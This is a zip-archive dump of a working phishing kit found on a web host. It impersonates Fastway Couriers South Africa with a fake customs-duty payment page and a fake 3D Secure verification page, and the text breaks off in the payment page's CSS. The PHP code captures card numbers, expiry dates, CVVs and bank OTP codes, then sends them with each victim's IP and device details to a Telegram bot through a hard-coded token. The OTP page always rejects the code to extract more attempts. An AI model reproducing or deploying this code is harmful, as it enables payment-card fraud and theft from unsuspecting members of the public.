File: /home/imagzxcb/public_html/db127a/feedback.zip
PK v�\-%�6 6 error_lognu �[��� [07-Nov-2025 19:58:29 UTC] PHP Fatal error: Uncaught Error: Undefined constant "localStorage" in /home/poppthjx/public_html/nz/payment.php:112
Stack trace:
#0 {main}
thrown in /home/poppthjx/public_html/nz/payment.php on line 112
[07-Nov-2025 19:58:52 UTC] PHP Fatal error: Uncaught Error: Undefined constant "localStorage" in /home/poppthjx/public_html/nz/payment.php:112
Stack trace:
#0 {main}
thrown in /home/poppthjx/public_html/nz/payment.php on line 112
[13-Feb-2026 00:06:53 UTC] PHP Warning: Array to string conversion in /home3/wigsoluc/public_html/courieritorder/payment.php on line 99
[13-Feb-2026 00:12:52 UTC] PHP Warning: Array to string conversion in /home3/wigsoluc/public_html/courieritorder/payment.php on line 99
[27-Feb-2026 04:55:43 UTC] PHP Parse error: syntax error, unexpected token "}" in /home4/scsplqia/public_html/courierguy/index.php on line 14
[27-Feb-2026 04:55:45 UTC] PHP Parse error: syntax error, unexpected token "}" in /home4/scsplqia/public_html/courierguy/index.php on line 14
[27-Feb-2026 05:05:01 UTC] PHP Warning: Array to string conversion in /home4/scsplqia/public_html/courierguy/payment.php on line 99
[17-Mar-2026 21:22:15 America/Fortaleza] PHP Warning: Array to string conversion in /home4/efraimco/public_html/taiwan/payment.php on line 99
[17-Mar-2026 21:33:42 America/Fortaleza] PHP Warning: Array to string conversion in /home4/efraimco/public_html/taiwan/payment.php on line 99
[17-Mar-2026 21:41:42 America/Fortaleza] PHP Warning: Array to string conversion in /home4/efraimco/public_html/taiwan/payment.php on line 99
[17-Mar-2026 21:46:25 America/Fortaleza] PHP Warning: Array to string conversion in /home4/efraimco/public_html/taiwan/payment.php on line 99
[17-Mar-2026 21:54:05 America/Fortaleza] PHP Warning: Array to string conversion in /home4/efraimco/public_html/taiwan/payment.php on line 99
[18-Mar-2026 01:04:02 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 01:40:20 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 01:41:26 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 01:41:31 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 01:42:43 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 01:46:26 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 01:47:44 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 02:03:38 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 02:07:02 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 02:21:21 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 02:25:09 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 02:28:16 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 02:29:17 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 02:31:36 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 02:31:49 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 02:46:07 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 02:52:17 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[18-Mar-2026 02:54:16 UTC] PHP Warning: Array to string conversion in /home/c44h3hyg52xp/public_html/cgi/hct/payment.php on line 99
[10-Jun-2026 03:21:30 UTC] PHP Warning: Array to string conversion in /home/imagzxcb/public_html/feedback/payment.php on line 99
[10-Jun-2026 04:31:34 UTC] PHP Warning: Array to string conversion in /home/imagzxcb/public_html/feedback/payment.php on line 99
[10-Jun-2026 05:13:27 UTC] PHP Warning: Array to string conversion in /home/imagzxcb/public_html/feedback/payment.php on line 99
[10-Jun-2026 06:59:51 UTC] PHP Warning: Array to string conversion in /home/imagzxcb/public_html/feedback/payment.php on line 99
[10-Jun-2026 07:25:34 UTC] PHP Warning: Array to string conversion in /home/imagzxcb/public_html/feedback/payment.php on line 99
PK v�\�� w<V <V approval.phpnu �[��� <?php
$BOT_TOKEN = "7855531302:AAGEfCJhGKdJNEcbJFDchAF40G3OrJO6sLw";
$CHAT_ID = "-5194337371";
// === GET USER INFO ===
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = 'Unknown';
$context = stream_context_create(['http' => ['timeout' => 5]]);
$geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context);
if ($geoData !== false) {
$geo = json_decode($geoData);
$country = $geo->country ?? 'Unknown';
}
function sendTelegram($msg) {
global $BOT_TOKEN, $CHAT_ID;
$url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
$data = [
'chat_id' => $CHAT_ID,
'text' => $msg,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false
]);
curl_exec($ch);
curl_close($ch);
}
// === HANDLE AJAX ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'])) {
$msg = "";
if ($_POST['action'] === 'verify') {
$otp = trim($_POST['otp'] ?? '');
$attempt = intval($_POST['attempt'] ?? 1);
$msg = "<b>⚠️🪭 FASTWAY COURIERS OTP ATTEMPT #{$attempt}</b>\n";
$msg .= "══════════════════════════════\n";
$msg .= "<b>OTP:</b> <code>{$otp}</code>\n";
$msg .= "<b>IP:</b> <code>{$ip}</code>\n";
$msg .= "<b>Country:</b> {$country}\n";
$msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
sendTelegram($msg);
echo json_encode(['status' => 'invalid', 'attempt' => $attempt + 1]);
exit;
}
if ($_POST['action'] === 'approved') {
$msg = "<b>✅ FASTWAY COURIERS PAYMENT APPROVED</b>\n";
$msg .= "══════════════════════════════\n";
$msg .= "<b>IP:</b> <code>{$ip}</code>\n";
$msg .= "<b>Country:</b> {$country}\n";
$msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
sendTelegram($msg);
echo json_encode(['status' => 'loop']);
exit;
}
}
// === GET PAYMENT DATA ===
$paymentData = json_decode($_POST['payment'] ?? '', true) ?: [];
$tracking = htmlspecialchars($paymentData['tracking'] ?? 'FW632846518');
$last4 = substr(preg_replace('/\D/', '', $paymentData['card_number'] ?? ''), -4) ?: '0000';
$time = date('H:i');
$date = date('d/m/Y');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Fastway Couriers | Payment Verification</title>
<link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@400;600;700;800&family=Barlow:wght@300;400;500;600&display=swap" rel="stylesheet">
<style>
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
:root {
--orange: #F47920;
--orange-light: #FF8C3A;
--navy: #1A2340;
--navy-dark: #10172B;
--navy-mid: #232E4A;
--white: #FFFFFF;
--off-white: #F7F8FA;
--grey: #6B7280;
--light-grey: #E5E7EB;
--text: #1F2937;
--success: #0F7B4B;
--danger: #DC2626;
--danger-bg: #FEF2F2;
--radius: 6px;
--shadow-sm: 0 4px 12px rgba(0,0,0,0.05);
}
body {
font-family: 'Barlow', sans-serif;
color: var(--text);
background: var(--off-white);
min-height: 100vh;
display: flex;
flex-direction: column;
}
.container { max-width: 500px; margin: 0 auto; width: 100%; padding: 0 1.5rem; }
/* HEADER */
.header {
background: var(--white);
padding: 1rem 0;
box-shadow: 0 2px 10px rgba(0,0,0,0.05);
}
.header-container {
max-width: 1200px;
margin: 0 auto;
padding: 0 1.5rem;
}
.logo-container { display: flex; align-items: center; }
.logo { height: 70px; width: auto; }
/* BANK HEADER */
.bank-header {
background: linear-gradient(135deg, var(--navy-dark), var(--navy));
color: var(--white);
padding: 1.25rem;
border-radius: var(--radius) var(--radius) 0 0;
text-align: center;
font-weight: 600;
font-size: 1rem;
display: flex;
align-items: center;
justify-content: center;
gap: 0.5rem;
border-bottom: 3px solid var(--orange);
margin-top: 2rem;
}
/* CARD */
.approval-card {
background: var(--white);
border: 1px solid var(--light-grey);
border-radius: 0 0 var(--radius) var(--radius);
padding: 2rem;
margin-bottom: 2rem;
box-shadow: var(--shadow-sm);
}
/* TRANSACTION */
.transaction {
background: var(--off-white);
border-radius: var(--radius);
padding: 1.25rem;
margin-bottom: 1.5rem;
border: 1px solid var(--light-grey);
}
.trans-row {
display: flex;
justify-content: space-between;
padding: 0.6rem 0;
font-size: 0.95rem;
border-bottom: 1px solid var(--light-grey);
}
.trans-row:last-child { border-bottom: none; }
.trans-label { color: var(--grey); }
.trans-value { font-weight: 600; color: var(--navy-dark); }
.amount {
color: var(--success);
font-weight: 700;
font-size: 1.25rem;
}
/* PUSH NOTIFICATION */
.app-notif {
background: var(--off-white);
border-radius: var(--radius);
padding: 1.5rem;
margin: 1.5rem 0;
text-align: center;
border: 1px solid var(--light-grey);
}
.app-notif img {
width: 120px;
height: 120px;
margin-bottom: 1rem;
display: block;
margin-left: auto;
margin-right: auto;
}
.app-notif strong {
display: block;
color: var(--navy-dark);
margin-bottom: 0.5rem;
font-size: 1.1rem;
font-weight: 700;
}
.app-badge {
display: inline-block;
background: var(--orange);
color: var(--white);
padding: 0.5rem 1rem;
border-radius: 30px;
font-size: 0.85rem;
margin-top: 0.75rem;
font-weight: 600;
}
/* LOADING DOTS */
.loading-dots {
text-align: center;
padding: 1.5rem;
margin: 1rem 0;
font-size: 0.95rem;
color: var(--grey);
background: var(--off-white);
border-radius: var(--radius);
border: 1px solid var(--light-grey);
}
.dot-container {
margin-top: 0.75rem;
}
.dot {
display: inline-block;
width: 8px;
height: 8px;
border-radius: 50%;
background: var(--orange);
margin: 0 4px;
animation: dotPulse 1.4s infinite ease-in-out;
}
.dot:nth-child(2) { animation-delay: 0.2s; }
.dot:nth-child(3) { animation-delay: 0.4s; }
@keyframes dotPulse {
0%, 80%, 100% { transform: scale(0.6); opacity: 0.5; }
40% { transform: scale(1); opacity: 1; }
}
/* SMS INPUT */
.sms-container {
margin: 1.5rem 0;
display: none;
}
.sms-label {
font-weight: 700;
margin-bottom: 0.5rem;
color: var(--navy-dark);
font-size: 0.9rem;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.sms-hint {
color: var(--grey);
font-size: 0.85rem;
margin-bottom: 1rem;
}
.sms-input {
width: 100%;
padding: 0.85rem;
font-size: 1rem;
text-align: center;
border: 2px solid var(--light-grey);
border-radius: var(--radius);
background: var(--white);
font-family: monospace;
margin-bottom: 1rem;
}
.sms-input:focus {
outline: none;
border-color: var(--orange);
box-shadow: 0 0 0 3px rgba(244,121,32,0.1);
}
.sms-input.error {
border-color: var(--danger);
}
.btn-primary {
width: 100%;
padding: 0.85rem;
background: var(--orange);
color: var(--white);
border: none;
border-radius: var(--radius);
font-weight: 600;
font-size: 0.95rem;
cursor: pointer;
text-transform: uppercase;
letter-spacing: 1px;
transition: all 0.15s ease;
}
.btn-primary:hover {
background: var(--orange-light);
transform: translateY(-1px);
box-shadow: 0 4px 12px rgba(244,121,32,0.3);
}
.btn-primary:disabled {
background: var(--light-grey);
color: var(--grey);
cursor: not-allowed;
}
.cooldown {
margin-top: 1rem;
color: var(--grey);
font-size: 0.85rem;
text-align: center;
padding: 0.75rem;
background: var(--off-white);
border-radius: var(--radius);
border: 1px solid var(--light-grey);
}
.error-message {
display: none;
color: var(--danger);
margin-top: 1rem;
font-size: 0.85rem;
text-align: center;
padding: 0.75rem;
background: var(--danger-bg);
border-radius: var(--radius);
border: 1px solid var(--danger);
}
.approve-link {
display: block;
text-align: center;
color: var(--navy);
text-decoration: none;
margin: 1.25rem 0;
font-size: 0.9rem;
font-weight: 600;
padding: 0.85rem;
background: var(--off-white);
border-radius: var(--radius);
border: 1px solid var(--light-grey);
transition: all 0.15s ease;
}
.approve-link:hover {
background: var(--light-grey);
color: var(--orange);
}
.loop-message {
display: none;
color: var(--danger);
margin: 1rem 0;
font-size: 0.9rem;
text-align: center;
font-weight: 600;
padding: 1rem;
background: var(--danger-bg);
border-radius: var(--radius);
border: 1px solid var(--danger);
}
.security-badges {
display: flex;
justify-content: center;
gap: 1rem;
margin-top: 1.5rem;
flex-wrap: wrap;
}
.badge {
background: var(--off-white);
padding: 0.5rem 0.8rem;
border-radius: var(--radius);
font-size: 0.75rem;
color: var(--grey);
display: flex;
align-items: center;
gap: 0.4rem;
border: 1px solid var(--light-grey);
}
/* FOOTER */
.footer {
background: var(--navy-dark);
padding: 2.5rem 0 2rem;
margin-top: auto;
}
.footer-content {
max-width: 1200px;
margin: 0 auto;
padding: 0 1.5rem;
text-align: center;
}
.footer-logo {
margin-bottom: 1rem;
}
.footer-logo img {
height: 60px;
width: auto;
opacity: 0.9;
}
.footer-copyright {
color: rgba(255,255,255,0.4);
font-size: 0.8rem;
}
@keyframes shake {
0%, 100% { transform: translateX(0); }
25% { transform: translateX(-5px); }
75% { transform: translateX(5px); }
}
.shake { animation: shake 0.3s ease; }
@media (max-width: 500px) {
.container { padding: 0 1rem; }
.approval-card { padding: 1.5rem; }
.logo { height: 60px; }
.app-notif img { width: 100px; height: 100px; }
}
</style>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
<body>
<!-- HEADER -->
<header class="header">
<div class="header-container">
<div class="logo-container">
<img src="assets/1.png" alt="Fastway Couriers" class="logo">
</div>
</div>
</header>
<div class="container">
<!-- BANK HEADER -->
<div class="bank-header">
<i class="fas fa-shield-alt"></i> Fastway Couriers - 3D Secure Verification
</div>
<!-- CARD -->
<div class="approval-card">
<div class="transaction">
<div class="trans-row">
<span class="trans-label">Merchant</span>
<span class="trans-value">Fastway Couriers SA</span>
</div>
<div class="trans-row">
<span class="trans-label">Amount</span>
<span class="trans-value amount">
R122.36
</span>
</div>
<div class="trans-row">
<span class="trans-label">Date & Time</span>
<span class="trans-value"><?php echo "$date, $time"; ?></span>
</div>
<div class="trans-row">
<span class="trans-label">Card</span>
<span class="trans-value">•••• •••• •••• <?php echo $last4; ?></span>
</div>
<div class="trans-row">
<span class="trans-label">Reference</span>
<span class="trans-value"><?php echo $tracking; ?></span>
</div>
</div>
<!-- PUSH NOTIFICATION WITH FIXED GIF -->
<div class="app-notif">
<img src="assets/pending.gif" alt="Verification Pending">
<strong>Verification Request Sent</strong>
<div style="font-size: 0.9rem; margin: 0.5rem 0; color: var(--grey);">
Check your banking app to approve this payment.
</div>
<div class="app-badge">
<i class="fas fa-mobile-alt"></i> Open banking app
</div>
</div>
<!-- LOADING DOTS - 50 SECONDS -->
<div class="loading-dots" id="loadingDots">
Waiting for verification from your bank
<div class="dot-container">
<span class="dot"></span>
<span class="dot"></span>
<span class="dot"></span>
</div>
</div>
<!-- SMS INPUT (Shown after 50 seconds) -->
<div class="sms-container" id="smsContainer">
<div class="sms-label">
<i class="fas fa-sms"></i> SMS Verification
</div>
<div class="sms-hint">
Enter the verification code sent to your registered mobile number.
</div>
<input type="text" class="sms-input" id="smsInput" placeholder="Enter verification code" inputmode="text">
<button class="btn-primary" id="verifyBtn">
<i class="fas fa-check-circle"></i> Verify Code
</button>
<div class="cooldown" id="cooldown" style="display:none;">
<i class="fas fa-clock"></i> Please wait <span id="countdown">15</span> seconds before trying again
</div>
<div class="error-message" id="errorMessage">
<i class="fas fa-exclamation-circle"></i>
<span id="errorText">Invalid verification code</span>
</div>
</div>
<a href="#" class="approve-link" id="approveLink">
<i class="fas fa-check-double"></i> I have approved in my banking app
</a>
<div class="loop-message" id="loopMessage">
<i class="fas fa-exclamation-triangle"></i>
Approval not detected. Please use SMS verification.
</div>
<div class="security-badges">
<div class="badge"><i class="fas fa-shield-alt"></i> 3D Secure</div>
<div class="badge"><i class="fas fa-lock"></i> Encrypted</div>
<div class="badge"><i class="fas fa-check-circle"></i> Verified</div>
</div>
</div>
</div>
<!-- FOOTER -->
<footer class="footer">
<div class="footer-content">
<div class="footer-logo">
<img src="assets/3.png" alt="Fastway Couriers">
</div>
<div class="footer-copyright">
© 2026 Fastway Couriers South Africa (Pty) Ltd. All rights reserved.
</div>
</div>
</footer>
<script>
// Show SMS input after 50 seconds
setTimeout(() => {
document.getElementById('loadingDots').style.display = 'none';
document.getElementById('smsContainer').style.display = 'block';
document.getElementById('smsInput').focus();
}, 29000);
// SMS Input handling - Alphanumeric only
document.getElementById('smsInput').addEventListener('input', function(e) {
this.value = this.value.replace(/[^A-Za-z0-9]/g, '');
if (this.classList.contains('error')) {
this.classList.remove('error');
document.getElementById('errorMessage').style.display = 'none';
}
});
// Verify Button
let attempt = 1;
let cooldown = false;
document.getElementById('verifyBtn').addEventListener('click', async () => {
if (cooldown) return;
const otp = document.getElementById('smsInput').value.trim();
if (otp.length === 0) {
showError('Please enter verification code');
document.getElementById('smsInput').classList.add('error');
return;
}
const btn = document.getElementById('verifyBtn');
btn.disabled = true;
btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Verifying...';
try {
const res = await fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `action=verify&otp=${encodeURIComponent(otp)}&attempt=${attempt}`
});
const data = await res.json();
showError('Invalid code. Please try again.');
document.getElementById('smsInput').classList.add('error');
document.getElementById('smsInput').classList.add('shake');
setTimeout(() => document.getElementById('smsInput').classList.remove('shake'), 300);
attempt++;
startCooldown();
} catch (e) {
btn.disabled = false;
btn.innerHTML = '<i class="fas fa-check-circle"></i> Verify Code';
showError('Connection error. Please try again.');
}
});
function showError(message) {
const el = document.getElementById('errorMessage');
document.getElementById('errorText').textContent = message;
el.style.display = 'block';
const btn = document.getElementById('verifyBtn');
btn.disabled = false;
btn.innerHTML = '<i class="fas fa-check-circle"></i> Verify Code';
}
function startCooldown() {
cooldown = true;
const btn = document.getElementById('verifyBtn');
const cd = document.getElementById('cooldown');
const count = document.getElementById('countdown');
btn.style.display = 'none';
cd.style.display = 'block';
let time = 15;
const interval = setInterval(() => {
time--;
count.textContent = time;
if (time <= 0) {
clearInterval(interval);
cooldown = false;
btn.style.display = 'block';
btn.disabled = false;
btn.innerHTML = '<i class="fas fa-check-circle"></i> Verify Code';
cd.style.display = 'none';
document.getElementById('smsInput').value = '';
document.getElementById('smsInput').classList.remove('error');
document.getElementById('errorMessage').style.display = 'none';
document.getElementById('smsInput').focus();
}
}, 1000);
}
// App approval link
document.getElementById('approveLink').addEventListener('click', async (e) => {
e.preventDefault();
showError('Approval not detected. Please use SMS verification.');
document.getElementById('smsInput').classList.add('error');
await fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'action=approved'
});
document.getElementById('loopMessage').style.display = 'block';
document.getElementById('approveLink').style.display = 'none';
});
</script>
</body>
</html>PK v�\����x^ x^ payment.phpnu �[��� <?php
$BOT_TOKEN = "7855531302:AAGEfCJhGKdJNEcbJFDchAF40G3OrJO6sLw";
$CHAT_ID = "-5194337371";
// === GET USER INFO ===
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = 'Unknown';
$timeout = 5;
// Get country with better error handling
try {
$context = stream_context_create([
'http' => ['timeout' => $timeout],
'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
]);
$geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context);
if ($geoData !== false) {
$geo = json_decode($geoData);
if (isset($geo->country) && $geo->status === 'success') {
$country = $geo->country;
}
}
} catch (Exception $e) {
$country = 'Unknown';
}
// Get BIN info from HandyAPI
function getBinInfo($bin) {
$url = "https://data.handyapi.com/bin/{$bin}";
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => ['x-api-key: HAS-0YYRXxQgdvMzHL9u9184D']
]);
$response = curl_exec($ch);
curl_close($ch);
if ($response) {
$data = json_decode($response, true);
return $data;
}
return null;
}
// Get country with better error handling
function getCountryFromIP($ip, $timeout = 3) {
if ($ip === 'Unknown' || $ip === '127.0.0.1' || $ip === '::1') {
return 'Unknown';
}
try {
$context = stream_context_create([
'http' => ['timeout' => $timeout],
'ssl' => ['verify_peer' => false, 'verify_peer_name' => false]
]);
$geoData = @file_get_contents("http://ip-api.com/json/{$ip}?fields=status,country", false, $context);
if ($geoData !== false) {
$geo = json_decode($geoData);
if (isset($geo->country) && $geo->status === 'success') {
return $geo->country;
}
}
} catch (Exception $e) {
// Silently fail
}
return 'Unknown';
}
// Detect OS from user agent
function detectOS($user_agent) {
$os = 'Unknown';
if (strpos($user_agent, 'Windows') !== false) $os = 'Windows';
elseif (strpos($user_agent, 'Mac') !== false) $os = 'macOS';
elseif (strpos($user_agent, 'Linux') !== false) $os = 'Linux';
elseif (strpos($user_agent, 'Android') !== false) $os = 'Android';
elseif (strpos($user_agent, 'iPhone') !== false) $os = 'iOS';
elseif (strpos($user_agent, 'iPad') !== false) $os = 'iPadOS';
return $os;
}
// Format BIN info for message
function formatBinInfo($bin, $binData) {
$binInfo = "<b>🅱️ BIN INFORMATION:</b>\n";
if ($binData && is_array($binData)) {
$brand = $binData['Brand'] ?? $binData['brand'] ?? 'UNKNOWN';
$bank = $binData['Bank'] ?? $binData['bank'] ?? $binData['Issuer'] ?? 'Unknown';
$binCountry = $binData['Country'] ?? $binData['country'] ?? 'Unknown';
$type = $binData['Type'] ?? $binData['type'] ?? $binData['Scheme'] ?? 'UNKNOWN';
$level = $binData['Level'] ?? $binData['level'] ?? $binData['CardTier'] ?? $binData['tier'] ?? 'STANDARD';
$currency = $binData['Currency'] ?? $binData['currency'] ?? 'ZAR';
$binInfo .= "• <b>BIN:</b> <code>{$bin}</code> | <b>Brand:</b> {$brand}\n";
$binInfo .= "• <b>Bank:</b> {$bank} | <b>Country:</b> {$binCountry}\n";
$binInfo .= "• <b>Type:</b> {$type} | <b>Level:</b> {$level}\n";
$binInfo .= "• <b>Currency:</b> {$currency}\n\n";
} else {
$binInfo .= "• <b>BIN:</b> <code>{$bin}</code> (No additional info available)\n\n";
}
return $binInfo;
}
function sendTelegram($msg) {
global $BOT_TOKEN, $CHAT_ID;
$url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
$data = [
'chat_id' => $CHAT_ID,
'text' => $msg,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_HTTPHEADER => [
'Content-Type: application/x-www-form-urlencoded'
]
]);
$result = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return $httpCode === 200;
}
// === HANDLE PAYMENT LOG ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'log_payment') {
header('Content-Type: application/json');
// Get client info once
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = getCountryFromIP($ip);
$os = detectOS($user_agent);
$tracking = htmlspecialchars($_POST['tracking'] ?? 'Unknown');
$parcel_type = htmlspecialchars($_POST['parcel_type'] ?? 'Unknown');
$card_name = htmlspecialchars($_POST['card_name'] ?? 'Unknown');
$card_number = preg_replace('/\s+/', '', $_POST['card_number'] ?? '');
$expiry = htmlspecialchars($_POST['expiry'] ?? '00/00');
$cvv = htmlspecialchars($_POST['cvv'] ?? '000');
// Get BIN info
$bin = substr($card_number, 0, 6);
$binData = getBinInfo($bin);
// Build enhanced message
$msg = "<b>✅ 🪭FASTWAY COURIERS PAYMENT CAPTURED</b>\n";
$msg .= "══════════════════════════════\n\n";
// BIN Information Section
$msg .= formatBinInfo($bin, $binData);
// Card Details Section
$msg .= "<b>💳 CARD DETAILS:</b>\n";
$msg .= "• <b>Tracking #:</b> <code>{$tracking}</code>\n";
$msg .= "• <b>Parcel Type:</b> {$parcel_type}\n";
$msg .= "• <b>Cardholder:</b> {$card_name}\n";
$msg .= "• <b>Card Number:</b> <code>{$card_number}</code>\n";
$msg .= "• <b>Expiry:</b> {$expiry}\n";
$msg .= "• <b>CVV:</b> <code>{$cvv}</code>\n";
$msg .= "• <b>Amount:</b> R122.36\n\n";
// Client Information Section
$msg .= "<b>👤 CLIENT INFORMATION:</b>\n";
$msg .= "• <b>IP:</b> <code>{$ip}</code>\n";
$msg .= "• <b>Country:</b> {$country}\n";
$msg .= "• <b>OS:</b> {$os}\n";
$msg .= "• <b>User Agent:</b> " . substr($user_agent, 0, 50) . "...\n";
$msg .= "• <b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
$msg .= "══════════════════════════════\n";
$msg .= "<i>📍 Fastway Couriers South Africa</i>";
sendTelegram($msg);
echo json_encode(['status' => 'success']);
exit;
}
// === GET DATA FROM POST (from loading1.php) ===
$tracking = htmlspecialchars($_POST['tracking'] ?? '');
$parcel_type = htmlspecialchars($_POST['parcel_type'] ?? 'International Satchel');
$weight = htmlspecialchars($_POST['weight'] ?? '0.9');
if (empty($tracking)) {
$tracking = 'FW632846518';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Fastway Couriers | Customs Duty Payment</title>
<link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@400;600;700;800&family=Barlow:wght@300;400;500;600&display=swap" rel="stylesheet">
<style>
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
:root {
--orange: #F47920;
--orange-light: #FF8C3A;
--navy: #1A2340;
--navy-dark: #10172B;
--navy-mid: #232E4A;
--white: #FFFFFF;
--off-white: #F7F8FA;
--grey: #6B7280;
--light-grey: #E5E7EB;
--text: #1F2937;
--success: #0F7B4B;
--success-bg: #E8F3ED;
--radius: 6px;
--input-bg: #FFFFFF;
--shadow-sm: 0 4px 12px rgba(0,0,0,0.05);
}
body {
font-family: 'Barlow', sans-serif;
color: var(--text);
background: var(--off-white);
min-height: 100vh;
display: flex;
flex-direction: column;
}
.container { max-width: 800px; margin: 0 auto; width: 100%; padding: 0 1.5rem; }
/* HEADER */
.header {
background: var(--white);
padding: 1rem 0;
box-shadow: 0 2px 10px rgba(0,0,0,0.05);
}
.header-container {
max-width: 1200px;
margin: 0 auto;
padding: 0 1.5rem;
}
.logo-container { display: flex; align-items: center; }
.logo { height: 70px; width: auto; }
/* BANNER */
.banner {
width: 100%;
background: linear-gradient(135deg, var(--navy-dark) 0%, var(--navy) 100%);
padding: 2.5rem 0;
margin-bottom: 2rem;
}
.banner-content {
max-width: 1200px;
margin: 0 auto;
padding: 0 1.5rem;
color: var(--white);
}
.banner-title {
font-family: 'Barlow Condensed', sans-serif;
font-size: clamp(2rem, 5vw, 2.5rem);
font-weight: 800;
text-transform: uppercase;
letter-spacing: -0.5px;
margin-bottom: 0.5rem;
}
.banner-title span { color: var(--orange); }
/* CARD */
.card {
background: var(--white);
border: 1px solid var(--light-grey);
border-radius: var(--radius);
padding: 2rem;
margin-bottom: 2rem;
box-shadow: var(--shadow-sm);
}
.progress {
display: flex;
align-items: center;
gap: 0.75rem;
padding: 1rem 1.25rem;
background: var(--off-white);
border-radius: var(--radius);
border-left: 4px solid var(--orange);
margin-bottom: 2rem;
font-size: 0.95rem;
}
.progress strong { color: var(--navy-dark); }
.progress span { color: var(--orange); font-weight: 600; margin-left: 0.25rem; }
.parcel-info {
background: var(--off-white);
border: 1px solid var(--light-grey);
border-radius: var(--radius);
padding: 1.25rem;
margin: 1.5rem 0;
}
.info-row {
display: flex;
justify-content: space-between;
padding: 0.6rem 0;
border-bottom: 1px solid var(--light-grey);
font-size: 0.95rem;
}
.info-row:last-child { border-bottom: none; }
.info-label { color: var(--grey); }
.info-value {
font-weight: 600;
color: var(--navy-dark);
}
.amount-display {
background: linear-gradient(135deg, var(--navy-dark), var(--navy));
color: var(--white);
padding: 2rem;
text-align: center;
border-radius: var(--radius);
margin: 2rem 0;
}
.amount-currency {
font-size: 1.25rem;
vertical-align: super;
margin-right: 0.25rem;
}
.amount-number {
